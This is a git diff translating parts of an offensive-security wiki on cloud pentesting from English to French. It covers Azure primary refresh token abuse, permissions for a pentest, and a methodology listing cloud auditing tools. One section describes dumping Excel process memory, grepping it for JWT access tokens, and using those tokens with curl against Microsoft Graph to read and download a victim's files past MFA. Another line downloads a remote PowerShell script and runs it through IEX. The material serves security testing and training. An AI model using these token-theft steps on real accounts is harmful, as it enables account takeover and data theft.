 - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
index 28bc5b415..4305b19db 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -2,10 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+**Vérifiez :** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
index a79c7a659..171a20d90 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -2,10 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+**Vérifiez le post sur** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) bien qu'un autre post expliquant la même chose puisse être trouvé sur [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
index 1ba819b3a..3f6ca91a6 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
@@ -2,16 +2,15 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **Basic Information**
+## **Informations de base**
 
-As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
+Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=OHKZkXC4Duw), certains logiciels Microsoft synchronisés avec le cloud (Excel, Teams...) pourraient **stocker des jetons d'accès en texte clair dans la mémoire**. Donc, simplement **dumping** la **mémoire** du processus et **grepping pour des jetons JWT** pourrait vous donner accès à plusieurs ressources de la victime dans le cloud en contournant MFA.
 
-Steps:
-
-1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
-2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
-3. Find the tokens that interest you the most and run tools over them:
+Étapes :
 
+1. Dump les processus Excel synchronisés avec l'utilisateur EntraID avec votre outil préféré.
+2. Exécutez : `string excel.dmp | grep 'eyJ0'` et trouvez plusieurs jetons dans la sortie
+3. Trouvez les jetons qui vous intéressent le plus et exécutez des outils dessus :
 ```bash
 # Check the identity of the token
 curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
@@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
 ┌──(magichk㉿black-pearl)-[~]
 └─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
 ```
-
-**Note that these kind of access tokens can be also found inside other processes.**
+**Notez que ce type de jetons d'accès peut également être trouvé à l'intérieur d'autres processus.**
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
index 39ee71d6c..8a3675fcf 100644
--- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
@@ -2,10 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
+Pour commencer les tests, vous devez avoir accès avec un utilisateur ayant des **permissions de lecteur sur la souscription** et un **rôle de lecteur global dans AzureAD**. Si même dans ce cas vous **n'êtes pas en mesure d'accéder au contenu des comptes de stockage**, vous pouvez le corriger avec le **rôle de contributeur de compte de stockage**.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 0be67db54..a05b41455 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,48 +1,47 @@
-# Pentesting Cloud Methodology
+# Méthodologie de Pentesting Cloud
 
 {{#include ../banners/hacktricks-training.md}}
 
 <figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
 
-## Basic Methodology
+## Méthodologie de base
 
-Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment:
+Chaque cloud a ses propres particularités, mais en général, il y a quelques **éléments communs qu'un pentester devrait vérifier** lors du test d'un environnement cloud :
 
-- **Benchmark checks**
-  - This will help you **understand the size** of the environment and **services used**
-  - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools**
-- **Services Enumeration**
-  - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test.
-  - This will allow you to know **what is exactly being used** in the cloud env
-  - This will help a lot in the next steps
-- **Check exposed assets**
-  - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed.
-    - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets)
-  - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?)
-- **Check permissions**
-  - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used
-    - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already
-    - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100)
-  - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**.
-    - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported.
-- **Check Integrations**
-  - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud env.
-    - For **integrations of the cloud you are auditing** with other platform you should notify **who has access to (ab)use that integration** and you should ask **how sensitive** is the action being performed.\
-      For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data).
-    - For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\
-      For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud.
+- **Vérifications de référence**
+- Cela vous aidera à **comprendre la taille** de l'environnement et les **services utilisés**
+- Cela vous permettra également de trouver quelques **mauvais configurations rapides** car vous pouvez effectuer la plupart de ces tests avec des **outils automatisés**
+- **Énumération des services**
+- Vous ne trouverez probablement pas beaucoup plus de mauvaises configurations ici si vous avez correctement effectué les tests de référence, mais vous pourriez en trouver certaines qui n'étaient pas recherchées dans le test de référence.
+- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
+- Cela aidera beaucoup dans les étapes suivantes
+- **Vérifiez les actifs exposés**
+- Cela peut être fait lors de la section précédente, vous devez **découvrir tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment cela peut être accessible.
+- Ici, je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des bases de données ou des buckets)
+- Ensuite, vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
+- **Vérifiez les permissions**
+- Ici, vous devriez **découvrir toutes les permissions de chaque rôle/utilisateur** à l'intérieur du cloud et comment elles sont utilisées
+- Trop de comptes **hautement privilégiés** (contrôle total) ? Clés générées non utilisées ?... La plupart de ces vérifications auraient déjà dû être effectuées dans les tests de référence
+- Si le client utilise OpenID ou SAML ou autre **fédération**, vous pourriez avoir besoin de leur demander plus d'**informations** sur **comment chaque rôle est attribué** (ce n'est pas la même chose que le rôle d'administrateur soit attribué à 1 utilisateur ou à 100)
+- Il **n'est pas suffisant de trouver** quels utilisateurs ont des permissions **admin** "\*:\*". Il y a beaucoup d'**autres permissions** qui, selon les services utilisés, peuvent être très **sensibles**.
+- De plus, il existe des **chemins potentiels de privesc** à suivre en abusant des permissions. Toutes ces choses doivent être prises en compte et **autant de chemins de privesc que possible** doivent être rapportés.
+- **Vérifiez les intégrations**
+- Il est très probable que des **intégrations avec d'autres clouds ou SaaS** soient utilisées à l'intérieur de l'environnement cloud.
+- Pour les **intégrations du cloud que vous auditez** avec d'autres plateformes, vous devriez notifier **qui a accès à (ab)user de cette intégration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
+Par exemple, qui peut écrire dans un bucket AWS d'où GCP obtient des données (demandez à quel point l'action est sensible dans GCP traitant ces données).
+- Pour les **intégrations à l'intérieur du cloud que vous auditez** provenant de plateformes externes, vous devriez demander **qui a accès de l'extérieur pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
+Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui a accès pour la modifier et quelles informations sensibles et accès obtiendra cette image lorsqu'elle est exécutée à l'intérieur d'un cloud AWS.
 
-## Multi-Cloud tools
+## Outils Multi-Cloud
 
-There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
+Il existe plusieurs outils qui peuvent être utilisés pour tester différents environnements cloud. Les étapes d'installation et les liens seront indiqués dans cette section.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
+Un outil pour **identifier les mauvaises configurations et les chemins de privesc dans les clouds et entre les clouds/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 # You need to install and run neo4j also
 git clone https://github.com/carlospolop/PurplePanda
@@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687"
 export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda"
 python3 main.py -h # Get help
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 export GOOGLE_DISCOVERY=$(echo 'google:
 - file_path: ""
 
 - file_path: ""
-  service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64)
+service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64)
 
 python3 main.py -a -p google #Get basic info of the account to check it's correctly configured
 python3 main.py -e -p google #Enumerate the env
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
-
+Il prend en charge **AWS, GCP & Azure**. Vérifiez comment configurer chaque fournisseur dans [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
 prowler <provider> --list-checks
 prowler <provider> --list-services
 ```
-
 ### [CloudSploit](https://github.com/aquasecurity/cloudsploit)
 
 AWS, Azure, Github, Google, Oracle, Alibaba
 
 {{#tabs }}
-{{#tab name="Install" }}
-
+{{#tab name="Installer" }}
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -107,16 +100,13 @@ npm install
 ./index.js -h
 ## Docker instructions in github
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 ## You need to have creds for a service account and set them in config.js file
 ./index.js --cloud google --config </abs/path/to/config.js>
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
@@ -125,8 +115,7 @@ npm install
 AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
 
 {{#tabs }}
-{{#tab name="Install" }}
-
+{{#tab name="Installer" }}
 ```bash
 mkdir scout; cd scout
 virtualenv -p python3 venv
@@ -135,42 +124,36 @@ pip install scoutsuite
 scout --help
 ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 scout gcp --report-dir /tmp/gcp --user-account --all-projects
 ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account
 
 SCOUT_FOLDER_REPORT="/tmp"
 for pid in $(gcloud projects list --format="value(projectId)"); do
-    echo "================================================"
-    echo "Checking $pid"
-    mkdir "$SCOUT_FOLDER_REPORT/$pid"
-    scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid"
+echo "================================================"
+echo "Checking $pid"
+mkdir "$SCOUT_FOLDER_REPORT/$pid"
+scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid"
 done
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [Steampipe](https://github.com/turbot)
 
 {{#tabs }}
-{{#tab name="Install" }}
-Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew:
-
+{{#tab name="Installer" }}
+Téléchargez et installez Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou utilisez Brew :
 ```
 brew tap turbot/tap
 brew install steampipe
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 # Install gcp plugin
 steampipe plugin install gcp
@@ -183,13 +166,11 @@ steampipe dashboard
 # To run all the checks from rhe cli
 steampipe check all
 ```
-
 <details>
 
-<summary>Check all Projects</summary>
-
-In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script
+<summary>Vérifiez tous les projets</summary>
 
+Pour vérifier tous les projets, vous devez générer le fichier `gcp.spc` indiquant tous les projets à tester. Vous pouvez simplement suivre les indications du script suivant.
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null
 # Generate a json like object for each project
 for pid in $(gcloud projects list --format="value(projectId)"); do
 echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" {
-    plugin  = \"gcp\"
-    project = \"$pid\"
+plugin  = \"gcp\"
+project = \"$pid\"
 }" >> "$FILEPATH"
 done
 
 # Generate the aggragator to call
 echo 'connection "gcp_all" {
-  plugin      = "gcp"
-  type        = "aggregator"
-  connections = ["gcp_*"]
+plugin      = "gcp"
+type        = "aggregator"
+connections = ["gcp_*"]
 }' >> "$FILEPATH"
 
 echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated"
 ```
-
 </details>
 
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Pour vérifier **d'autres insights GCP** (utiles pour énumérer les services) utilisez : [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Pour vérifier le code Terraform GCP : [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Plus de plugins GCP de Steampipe : [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
-
 ```bash
 # Install aws plugin
 steampipe plugin install aws
@@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
+Pour vérifier le code Terraform AWS : [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
-
-More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Plus de plugins AWS de Steampipe : [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-It requires python2.7 and looks unmaintained.
+Cela nécessite python2.7 et semble non maintenu.
 
 ### Nessus
 
-Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**.
+Nessus a un _**Audit Cloud Infrastructure**_ scan prenant en charge : AWS, Azure, Office 365, Rackspace, Salesforce. Certaines configurations supplémentaires dans **Azure** sont nécessaires pour obtenir un **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
+Cloudlist est un **outil multi-cloud pour obtenir des actifs** (noms d'hôtes, adresses IP) des fournisseurs de cloud.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
-
 ```bash
 cd /tmp
 wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip
@@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip
 chmod +x cloudlist
 sudo mv cloudlist /usr/local/bin
 ```
-
 {{#endtab }}
 
-{{#tab name="Second Tab" }}
-
+{{#tab name="Deuxième Onglet" }}
 ```bash
 ## For GCP it requires service account JSON credentials
 cloudlist -config </path/to/config>
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
+Cartography est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 # Installation
 docker image pull ghcr.io/lyft/cartography
 docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help
 ## Install a Neo4j DB version 3.5.*
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```bash
 docker run --platform linux/amd64 \
-     --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \
-     -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \
-     -e NEO4j_PASSWORD="s3cr3t" \
-     ghcr.io/lyft/cartography  \
-     --neo4j-uri bolt://host.docker.internal:7687 \
-     --neo4j-password-env-var NEO4j_PASSWORD \
-     --neo4j-user neo4j
+--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \
+-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \
+-e NEO4j_PASSWORD="s3cr3t" \
+ghcr.io/lyft/cartography  \
+--neo4j-uri bolt://host.docker.internal:7687 \
+--neo4j-password-env-var NEO4j_PASSWORD \
+--neo4j-user neo4j
 
 
 # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html)
@@ -326,17 +297,15 @@ docker run --platform linux/amd64 \
 ## Google Kubernetes Engine
 ### If you can run starbase or purplepanda you will get more info
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
+Starbase collecte des actifs et des relations à partir de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive soutenue par la base de données Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
-
 ```bash
 # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/
 npm install --global yarn
@@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest .
 docker-compose run starbase setup
 docker-compose run starbase run
 ```
-
 {{#endtab }}
 
 {{#tab name="GCP" }}
-
 ```yaml
 ## Config for GCP
 ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
 ### It requires service account credentials
 
 integrations:
-  - name: graph-google-cloud
-    instanceId: testInstanceId
-    directory: ./.integrations/graph-google-cloud
-    gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git
-    config:
-      SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}"
-      PROJECT_ID: ""
-      FOLDER_ID: ""
-      ORGANIZATION_ID: ""
-      CONFIGURE_ORGANIZATION_PROJECTS: false
+- name: graph-google-cloud
+instanceId: testInstanceId
+directory: ./.integrations/graph-google-cloud
+gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git
+config:
+SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}"
+PROJECT_ID: ""
+FOLDER_ID: ""
+ORGANIZATION_ID: ""
+CONFIGURE_ORGANIZATION_PROJECTS: false
 
 storage:
-  engine: neo4j
-  config:
-    username: neo4j
-    password: s3cr3t
-    uri: bolt://localhost:7687
-    #Consider using host.docker.internal if from docker
+engine: neo4j
+config:
+username: neo4j
+password: s3cr3t
+uri: bolt://localhost:7687
+#Consider using host.docker.internal if from docker
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell.
-
+Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise PowerShell.
 ```powershell
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -405,18 +370,17 @@ Start-AzureStealth
 IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')
 Scan-AzureAdmins
 ```
-
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Un outil pour trouver l'infrastructure, les fichiers et les applications d'une entreprise (cible) sur les principaux fournisseurs de cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming).
-- It is an enumeration tool which is intended to compliment manual pentesting.
-- It doesn't create or modify any data within the cloud environment.
+- CloudFox est un outil pour trouver des chemins d'attaque exploitables dans l'infrastructure cloud (actuellement uniquement AWS et Azure pris en charge avec GCP à venir).
+- C'est un outil d'énumération qui est destiné à compléter le pentesting manuel.
+- Il ne crée ni ne modifie aucune donnée dans l'environnement cloud.
 
-### More lists of cloud security tools
+### Plus de listes d'outils de sécurité cloud
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -448,14 +412,10 @@ azure-security/
 
 ### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “graphique d'attaque” des ressources dans une souscription Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot dans un locataire, et renforce vos défenseurs pour s'orienter rapidement et prioriser le travail de réponse aux incidents.
 
 ### Office365
 
-You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**.
+Vous avez besoin de **Global Admin** ou au moins de **Global Admin Reader** (mais notez que Global Admin Reader est un peu limité). Cependant, ces limitations apparaissent dans certains modules PS et peuvent être contournées en accédant aux fonctionnalités **via l'application web**.
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-